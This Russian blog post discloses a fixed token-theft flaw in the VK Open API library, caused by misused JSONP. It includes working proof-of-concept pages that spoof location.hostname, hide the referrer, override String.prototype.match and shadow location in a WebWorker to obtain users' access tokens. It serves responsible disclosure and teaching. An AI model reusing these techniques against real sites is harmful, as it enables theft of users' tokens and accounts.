Как это выглядело
В принципе, процесс получения пользовательского Access Token'а страницей злоумышленника происходил по стандартной схеме эксплуатации CSRF-уязвимости:
- Пользователь заходит на сайт, использующий библиотеку VK Open API (например, http://ift.tt/1S0Ozld).
- Авторизуется там через VK.
- Потом заходит на сайт злоумышленника (например, www.vk-test-auth.com), который, эксплуатируя уязвимость, получает Access Token, принадлежащий сайту http://ift.tt/1S0Ozld.
- Получив Access Token пользователя, злоумышленник может обращаться к VK API с теми правами, который пользователь дал сайту http://ift.tt/1S0Ozld при авторизации на нем через VK.
Демонстрация
На видео показано, как страница «злоумышленника» на домене www.vk-test-auth.com получает Access Token пользователя VK, который авторизовался на сайте http://ift.tt/1S0Ozld, несмотря на то, что в настройках приложения VK, доступ разрешён только для домена http://ift.tt/1S0Ozld.
Конечно, домены я не регистрировал, т.к. в данном случае это не играет никакой роли. Когда записывался скринкаст, они были прописаны в hosts.
Немного о VK Open API
Выдержка из официальной документации:
Open API — система для разработчиков сторонних сайтов, которая предоставляет возможность легко авторизовывать пользователей ВКонтакте на Вашем сайте. Кроме этого, с согласия пользователей, вы сможете получить доступ к информации об их друзьях, фотографиях, аудиозаписях, видеороликах и прочих данных ВКонтакте для более глубокой интеграции с Вашим проектом.
Т.е. это JS библиотека, позволяющая работать с VK API (авторизация, вызов методов API, вроде 'wall.post', 'audio.get', 'video.add', etc...) прямо со страницы вашего сайта. Для того, чтобы использовать эту библиотеку, необходимо создать VK-приложение с типом «Веб-сайт», указать домен в настройках, и разместить пару тегов script на странице.
Подключение библиотеки
Пример подключения и инициализации библиотеки:
<script src="//vk.com/js/api/openapi.js" type="text/javascript"></script>
<script type="text/javascript">
VK.init({
apiId: ВАШ_APP_ID
});
</script>
Естественно, в параметре
appId
можно указать только ID VK-приложения, в настройках которого «Базовый домен» совпадает с доменом страницы, на котором мы подключаем библиотеку.
Наша страница может обращаться к методам VK API после того, как пользователь во всплывающем окне разрешит VK-приложению доступ к своему профилю. Для того, чтобы показать это всплывающее окно, нужно вызвать метод VK.Auth.login()
. И после того, как разрешение получено, можно обращаться к VK API. Важное замечание: если пользователь однажды предоставил приложению доступ к своему профилю, то даже после перезагрузки страницы его разрешение остается в силе: не нужно каждый раз вызывать VK.Auth.login()
. Для того, чтобы определить, нужно ли просить пользователя предоставить сайту (точнее, VK-приложению сайта) доступ к своему профилю, можно использовать следующий код:
VK.Auth.getLoginStatus(function(resp) {
if (resp.session) {
// Пользователь уже предоставил доступ к своему профилю.
// Можно спокойно работать с VK API.
} else {
// Нужно просить пользователя предоставить доступ,
// и только после его согласия работать с VK API.
VK.Auth.login(...);
}
});
Если при вызове
VK.init()
указать ID чужого приложения, домен которого не совпадает с доменом страницы, на котором запускается библиотека – ничего работать не должно (даже функция-callback, переданная в getLoginStatus()
не будет вызвана).
Небольшая оговорка: оказывается, этот запрет можно обойти. Для того, чтобы было понятнее, вкратце расскажу, как работает проверка «авторизованности» пользователя в VK-приложении.
Принцип проверки авторизации пользователя
Для работы с VK API из JS-кода веб-страницы, используется метод
VK.Api.call()
, например:
// Получение информации о текущем пользователе
VK.Api.call('users.get', {}, function(result) {
var user;
if (result.response) {
user = result.response[0];
alert('Здравствуйте, ' + user.first_name + ' ' + user.last_name + '!');
}
});
При первом вызове метода
VK.Api.call()
, библиотека обращается на бекенд VK за Access Token'ом. Для этого, внутри VK.Api.call()
вызывается метод VK.Auth.getLoginStatus()
, через который библиотека и получает этот токен (конечно, если только пользователь ранее предоставил доступ сайту к своему профилю). После того, как токен удалось получить, происходит запрос к API и получение ответа от сервера. Уязвимость кроется в способе получения и способе обработки ответа сервера в методе VK.Auth.getLoginStatus()
. Всему виной JSONP, вернее, его некорректное применение.
Порочный JSONP
Давайте подробнее рассмотрим работу метода
VK.Auth.getLoginStatus()
. Для того, чтобы получить Access Token, делается JSONP-запрос на следующий URL:
http://ift.tt/1lsngWv
Параметры:
aid
– ID приложенияlocation
– домен, с которого выполняется запросrnd
– ID callback-функции (ведь это JSONP)
Если в запросе по URL, приведённом выше, домен в HTTP Referrer совпадает с доменом, который был указан в настройках VK-приложения, или если HTTP Referrer не передавать совсем (!) – то получаем такой ответ:
/* <html><script>window.location='http://vk.com';</script></html> */
if (location.hostname != 'www.example.com') {
window.location.href = 'http://vk.com/oauth';
for (;;);
} else {
VK.Auth.lsCb[456]({
"auth": true,
"access_token": "5ea11111d799a53236f5d3eff5d34bcd2dda0f9e6a7aaf743f7d26d3487456f6ce8d5e1ff82eaa6f7b04a",
"expire": 1436755095,
"time": 7200,
"sig": "12d254526496a6db2af6bed2eb1dd3e7",
"secret": "oauth",
"user": {
"id": "%ID_страницы%",
"domain": "%имя_страницы%",
"href": "https:\/\/vk.com\/%имя_или_id_страницы%",
"first_name": "%имя%",
"last_name": "%фамилия%",
"nickname": ""
}
});
}
Важно: При JSONP-запросе на вышеуказанный URL, браузер также отправляет куки пользователя. Поэтому, сервер знает, от имени какого пользователя VK делается запрос, и строит ответ исходя из этой информации.
Как я уже говорил раннее, ответом является JS-код, в котором следующая логика: если домен текущей страницы (location.hostname
) равен домену, указанному в настройках приложения – вызываем функцию VK.Auth.lsCb[%значение_параметра_rnd%]()
, и в качестве первого аргумента передаём объект с Access Token'ом, иначе – перенаправляем пользователя на http://vk.com/oauth
. Зачем? Это такая защита. Т.к. если бы домен, указанный в настройках VK-приложения не сверялся с location.hostname
, то любой мог бы разместить у себя на сайте следующий код:
<script>
var VK = {
Auth: {
lsCb: {
456: function (data) {
// В объекте data находится Access Token (data.access_token)
// и информация о текущем пользователе (data.user)
}
}
}
}
</script>
<script src="http://ift.tt/1lsngWv">
И таким образом получать Access Token (а вместе с этим и доступ к профилю) каждого пользователя, посетившего страницу злоумышленника, если этот пользователь предоставил сайту, использующему VK Open API, доступ к своему профилю (в примере выше, это www.example.com). Злоумышленнику остаётся лишь скрыть HTTP Referrer страницы, с которой делается запрос – это достаточно просто.
Итак, защита вроде бы работает, сверка текущего location.hostname
с доменом VK-приложения ограничивает доступ посторонним к Access Token, но… в JavaScript есть геттеры/сеттеры, а у браузеров свои особенности/странности реализации стандартного окружения JS (BOM).
Эксплуатация уязвимости
Тогда я решил проверить, а что если определить для
location.hostname
геттер, который будет всегда возвращать строку "www.example.com"
? Быстро проверив свою догадку в консоли, и убедившись, что этот хак на тот момент работал:
// Работает в Chrome-подобных браузерах младше 42-й версии, и всём, что на нём основано:
// Yandex.Browser, Opera (WebKit), Android Chrome, etc…
// На момент написания этого кода, актуальной была ~41 версия Хрома.
// Работало потому, что поле hostname объекта location являлось configurable-полем.
location.__defineGetter__('hostname', function () {
return 'какая-то строка';
});
console.log(location.hostname); // 'какая-то строка'
Решил попробовать обмануть проверку домена так:
<script>
var VK = {
Auth: {
lsCb: {
// Этот метод будет вызван после получения и выполнения JSONP-ответа от сервера VK
456: function (data) {
alert(data.access_token);
}
}
}
};
location.__defineGetter__('hostname', function () {return 'www.example.com'});
</script>
<script src="http://ift.tt/1lsngWv">
Но появляется другая проблема – HTTP Refferer. Ведь с запросом по URL
http://ift.tt/1lsngWv
будет также передаваться HTTP Refferer страницы, и если домен этой страницы не совпадает с доменом, указанным в настройках VK-приложения, мы получим редирект на http://ift.tt/1Szg6Kf
, в котором следующий код:
try{console.log('open api access error');}catch(e){}
Но! Как я уже писал выше, если HTTP Refferer не передать совсем, то мы получим нормальный ответ. Я думаю, так было сделано по двум причинам:
- HTTP Refferer может передаваться не всегда.
- Вероятно это сделано для того, чтобы обеспечить работу VK Open API на страницах, у которых нет своего глобального URL (т.е. адрес страницы как-бы есть, но доступен только для вашего браузера, например Data URL, ObjectURL или страница настроек какого-нибудь браузерного расширения).
Один из способов скрыть HTTP Refferer – разместить на странице iframe, в src у которого будет Data URL, а в нём код другой страницы, в которой:
- Подменяется
location.hostname
. - Объявляется функция-получатель Access Token'а (
VK.Auth.lsCb[456]()
). - Размещается
<script src="http://ift.tt/1lsngWv">
, который, собственно, и загружает ответ от сервера c вызовом JSONP-функцииVK.Auth.lsCb[456]()
.
Эту страницу можно было разместить на любом домене, или просто открыть в браузере даже без веб-сервера, и она отображала Access Token и данные пользователя, если он авторизовался через VK на сайте, использующем VK Open API. Для успешной эксплуатации уязвимости, нужно было лишь указать в запросе ID приложения (параметр
aid
) и домен сайта, к которому привязано приложение (параметр location
).
Как эта страничка выглядела:
<!doctype html>
<html>
<head>
<title>Уязвимость VK JS Api</title>
<meta charset="utf-8">
<style>
body,html {
margin:0;
padding:0;
width:100%;
height:100%;
}
</style>
</head>
<body>
<iframe
src="data:text/html;charset=utf-8,%контент_закодированной_страницы%"
style="width:100%;height:100%;border:0" />
</body>
</html>
Приблизительно так выглядел
%контент_закодированной_страницы%
в iframe:
<!doctype html>
<html>
<body>
<script>
// Уязвимость эксплуатируется потому, что мы можем подменить значение location.hostname
window.location.__defineGetter__('hostname', function () {return 'www.example.com'});
var VK = {
Auth: {
lsCb:{
456: function (data) {
// Если в ответе есть access_token, значит пользователь авторизован
if (data.access_token) {
// Занесение имени, фамилии, ID и Access Token'a пользователя
// в элементы на странице.
} else {
// Отображение просьбы перейти на сайт www.example.com, авторизоваться там
// и перезагрузить эту страницу.
}
}
}
}
};
</script>
<!--
В параметре aid мог быть ID любого VK-приложения типа "Веб-сайт", и если пользователь
предоставил сайту-жертве доступ к своему профилю VK, то код, описанный выше, успешно получал
Access Token и мог свободно обращаться к VK API.
-->
<script src="http://ift.tt/1lsngWv"></script>
</body>
</html>
Запаковав этот пример в архив, я написал в VK, и отправил им этот архив. Через пару дней уязвимость исправили. Точнее, после исправления уязвимость стала ещё серьёзнее. Если она раньше эксплуатировалась из-за особенности браузеров на WebKit, и то до ~42 версии Google Chrome, то теперь, она эксплуатировалась на всех браузерах, более-менее поддерживающих JavaScript. Знатоки JS, попробуйте догадаться по коду, размещённому ниже, почему всё стало ещё хуже? Учтите, что там для получения текущего домена используется не поле
hostname
(которое является конфигурируемым), а href
, которое НЕ является конфигурируемым, и соответственно, для которого нельзя задать геттер, возвращающий нужное нам значение.
Ответ от сервера, после первого исправления уязвимости:
/* <html><script>window.location='http://vk.com';</script></html> */
if (!location.href.match(/https?:\/\/www\.mysite\.com\//)) {
window.location.href = 'http://vk.com/oauth';
for (;;);
} else {
VK.Auth.lsCb[456]({
"auth": true,
"access_token": "5ea11111d799a53236f5d3eff5d34bcd2dda0f9e6a7aaf743f7d26d3487456f6ce8d5e1ff82eaa6f7b04a",
"expire": 1436755095,
"time": 7200,
"sig": "12d254526496a6db2af6bed2eb1dd3e7",
"secret": "oauth",
"user": {
"id": "%ID_страницы%",
"domain": "%имя_страницы%",
"href": "https:\/\/vk.com\/%имя_или_id_страницы%",
"first_name": "%имя%",
"last_name": "%фамилия%",
"nickname": ""
}
});
}
Самое очевидное – незаякоренное регулярное выражение, и… я это заметил только во время подготовки статьи. Можно было просто построить URL страницы, эксплуатирующей уязвимость так, чтобы в ней присутствовала подстрока совпадающая с регулярным выражением, и всё бы заработало, правда, до тех пор, пока в регулярку не добавят якорь
"^"
. Но ведь подмена браузерного окружения JS интереснее!
Так вот, подменить тут можно стандартный метод match()
из прототипа String
. Его нужно подменить так, чтобы он возвращал true
, если первый аргумент равен регулярному выражению "/https?:\/\/www\.mysite\.com\//"
, при этом неважно, что находится в строке-получателе вызова метода match()
. Доработав демо, я отправил обновлённую версию демонстрации уязвимости в VK.
Как и в прошлый раз, это была страница с iframe, в src которого был Data URL:
<!doctype html>
<html>
<body>
<script>
var VK = {
Auth: {
lsCb:{
456: function (data) {
if (data.access_token) {
App.ready = true;
App.access_token = data.access_token;
App.first_name = data.user.first_name;
App.last_name = data.user.last_name;
App.user_id = data.user.id;
}
App.init();
}
}
}
},
App = {
_original_match_method: String.prototype.match,
_restoreOriginalMatch: function () {
String.prototype.match = this._original_match_method;
},
init: function () {
// Восстановление оригинального String.prototype.match()
this._restoreOriginalMatch();
if (this.ready) {
// Занесение имени, фамилии, ID и Access Token'a пользователя
// в элементы на странице.
} else {
// Отображение просьбы перейти на сайт www.example.com, авторизоваться там
// через VK и перезагрузить эту страницу.
}
}
};
// Добиваемся такого поведения:
// 'any string'.match(/https?:\/\/www\.mysite\.com\//) // true
// 'any string'.match(/.*/) // ['any string']
(function () {
var original_match = String.prototype.match;
String.prototype.match = function () {
// Знаю, что можно было сделать проверку по-другому, но тогда почему-то сделал так.
return arguments[0] == '/https?:\\/\\/www\\.mysite\\.com\\//' ? true : original_match.apply(this, arguments);
}
})();
</script>
<script src="http://ift.tt/1lsngWv"></script>
</body>
</html>
Отправив всё это я стал ждать.
Переход на новый уровень: WebWorkers
Через некоторое время после того, как я отправил последнее демо, уязвимость исправили. И снова, я решил попробовать разобраться, как именно исправили уязвимость.
Как и раньше, для получения Access Token'а пользователя делался JSONP-запрос на сервер VK, и в ответе была всё та же сверка текущего домена с доменом приложения VK:
/* <html><script>window.location='http://vk.com';</script></html> */
if (
location.href !==
(location.protocol == 'https:' ? 'https' : 'http')
+ '://www.example.com'
+ (location.port ? ':' + location.port : '')
+ '/' + location.pathname.slice(1)
+ location.search + location.hash
) {
window.location.href = 'http://vk.com/oauth';
for (;;);
} else {
VK.Auth.lsCb[456]({
"auth": true,
"access_token": "512aae7f9e9070f3bbb1600b934238546e4567892q2fj29739242e2b66521da110fdf5nmj9fee6ce8",
"expire": 1438739486,
"time": 7200,
"sig": "53aa7a11c2431d96v8765e1b3c7q2c22",
"secret": "oauth",
"user": {
"id": "%ID_страницы%",
"domain": "%имя_страницы%",
"href": "https:\/\/vk.com\/%имя_или_id_страницы%",
"first_name": "%имя%",
"last_name": "%фамилия%",
"nickname": ""
}
});
}
Проверка кажется безупречной, т.к. для получения текущего домена используется НЕ конфигурируемое поле
location.href
(т.е. на него нельзя навесить getter/setter). Сколько не пробуй, кажется, в окружении UI-потока браузера (там, где глобальным объектом является window
) location
не подменить… Но у нас ведь ещё есть окружение WebWorker'a! Проверив свою догадку, стало понятно, что в окружении Worker'a (DedicatedWorkerGlobalScope
) поле location
объекта self
можно просто накрыть объектом с полями href
, hostname
и др. Почему? Всё просто: объект location
находится не в самом объекте self
, а в его прототипе, таким образом, инструкция var location = {};
выполненная в глобальной области видимости Worker'a, или Object.defineProperty(self, 'location', {value: ... })
просто перекрывают location
из прототипа объекта self
(т.е. добавляет объекту self
собственное поле location
). Таким образом, код, который будет подгружен через self.importScripts()
при обращении к location
, получит наш объект, а не оригинальный. Кстати, в UI-окружении браузера такой трюк не пройдёт: там объект location
реализован как собственное поле объекта window
, которое ничем не перекроешь.
Небольшой пример, как это работает:
<!doctype html>
<html>
<head>
<title>Workers</title>
<meta charset="utf-8" />
</head>
<body>
<script>
(function () {
var worker,
// Этот код будет выполняться в отдельном потоке, в окружении Worker'а.
// Для того, чтобы получить код в в виде текста,
// объявляем анонимную функцию и получаем её строковое представление.
worker_code = (function () {
// Затираем оригинальный location
var location = {
// URL страницы, которую мы эмулируем
href: 'http://www.example.com/',
search: '',
hash: '',
pathname: ''
},
VK = {
Auth: {
lsCb: {
// Объявляем функцию-приемник объекта с access_token'ом
456: function (data) {
// Отправляем UI-потоку полученный объект
self.postMessage(data);
}
}
}
};
// Загружаем скрипт с Access Token'ом пользователя (куки тут тоже передаются).
// По счастливой случайности, где-то с 42-й версии Chrome, с запросом в importScripts()
// не посылается Refferer, если в конструктор Worker'у передать ObjectURL,
// вместо пути к файлу. Так что referrer с запросом ниже не отправляется, благодаря чему
// мы получаем валидный ответ от VK.
importScripts('http://ift.tt/1lsngWv');
}).toString();
// Удаляем из кода функции подстроку "function () {" в начале, и "}" в конце
worker_code = worker_code.substring(worker_code.indexOf('{') + 1, worker_code.length - 1);
worker = new Worker(
// Благодаря ObjectURL, можем обойтись без отдельного файла с кодом для Worker'a
URL.createObjectURL(
new Blob([worker_code], {type: 'application/javascript'})
)
);
worker.addEventListener('message', function (e) {
if (e.data.auth) {
alert(e.data.access_token);
} else {
alert('Авторизуйтесь через VK на сайте www.example.com и перезагрузите эту страницу');
}
}, false);
}());
</script>
</body>
</html>
Таким образом, у нас есть возможность подменять JS API покруче, чем в UI-потоке. Оформив всё это «по-интересному», я стал ждать ответа. Через некоторое время уязвимый код в openapi.js поправили. Теперь для получения Access Token'а, библиотека делает кроссдоменный запрос на backend VK с использованием технологии Cross-origin resource sharing.
По-интересному
После отправки первых двух демо, мне показалось, что как-то неправильно реализовывать демо в виде простого отображения пользователю Access Token'a… И после недолгих раздумий, я решил сделать патч для библиотеки VK Open API (http://ift.tt/1C1TrCu) так, чтобы она сама умела пользоваться уязвимостью.
Что в итоге получилось:
<!doctype html>
<html>
<head>
<!-- Подключаем VK Open Api -->
<script src="http://ift.tt/1C1TrCu"></script>
<!--
Подключаем патч, который добавляет к стандартному openapi.js возможность обращаться к VK API
от имени приложения, которое привязано к другому домену.
Т.е. если этот файл не подключить, уязвимость эксплуатироваться не будет. КЭП.
-->
<script src="vk_opanapi_insecure_patch.js"></script>
</head>
<body>
<script>
VK.init({
// Стандартный параметр - ID VK приложения
apiId: 1234567,
// В файле vk_opanapi_insecure_patch.js, библиотека openapi.js модифицируется так,
// что JSONP-запрос на получение Access Token'а делается в окружении Worker'a,
// который имитирует UI-поток страницы с доменом из этого параметра.
appDomain: 'www.example.com'
});
// После инициализации библиотеки с нестандартным параметром "appDomain",
// можно обращаться к методам API как будто приложение с ID "1234567" является нашим,
// и мы находимся на странице с доменом "www.example.com".
VK.Api.call('users.get', {}, function(r) {
if(r.response) {
alert('Текущий пользователь: ' + r.response[0].first_name + ' ' + r.response[0].last_name);
}
});
</script>
</body>
</html>
Ссылка на архив.
Выводы
Порой инструмент, которым пользуешься на протяжении долгого времени, преподносит сюрпризы. Иногда в виде серьёзных уязвимостей. Однако есть общее правило: никогда не передавайте через JSONP конфиденциальные данные. Даже когда код валидации получателя JSONP-ответа кажется безупречным, выясняется, что можно подменить браузерное окружение JS (BOM) так, что вся проверка перед передачей токена коду страницы сводится на нет. Вообще, пора отказываться от JSONP в пользу CORS.
В этой публикации, я ни в коем случае не хотел выставить разработчиков VK Open API в нехорошем свете. Наоборот: ребята молодцы, разрабатывают крутой сервис, на крутых технологиях с отличной документацией и службой поддержки. А ошибиться может каждый. Основная причина, по которой я таки решился на написание статьи — это желание предостеречь веб-разработчиков от подобных ошибок.
В принципе, это всё. Я планировал описать суть уязвимости в нескольких абзацах, однако после написания каждого абзаца меня не покидало чувство недосказанности. Так и получилась эта пелена текста.
Благодарю за внимание!
This entry passed through the Full-Text RSS service - if this is your content and you're reading it on someone else's site, please read the FAQ at http://ift.tt/jcXqJW.
Комментариев нет:
Отправить комментарий